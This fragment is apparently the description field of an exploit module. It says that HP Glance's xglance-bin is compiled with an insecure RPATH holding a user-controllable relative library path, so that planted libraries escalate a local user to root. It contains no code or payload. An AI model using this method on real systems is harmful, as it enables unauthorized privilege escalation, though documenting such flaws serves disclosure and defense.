'Description' => %q{  
This exploit takes advantage of xglance-bin, part of  
HP's Glance (or Performance Monitoring) version 11 'and subsequent'  
, which was compiled with an insecure RPATH option. The RPATH includes  
a relative path to -L/lib64/ which can be controlled by a user.  
Creating libraries in this location will result in an  
escalation of privileges to root.
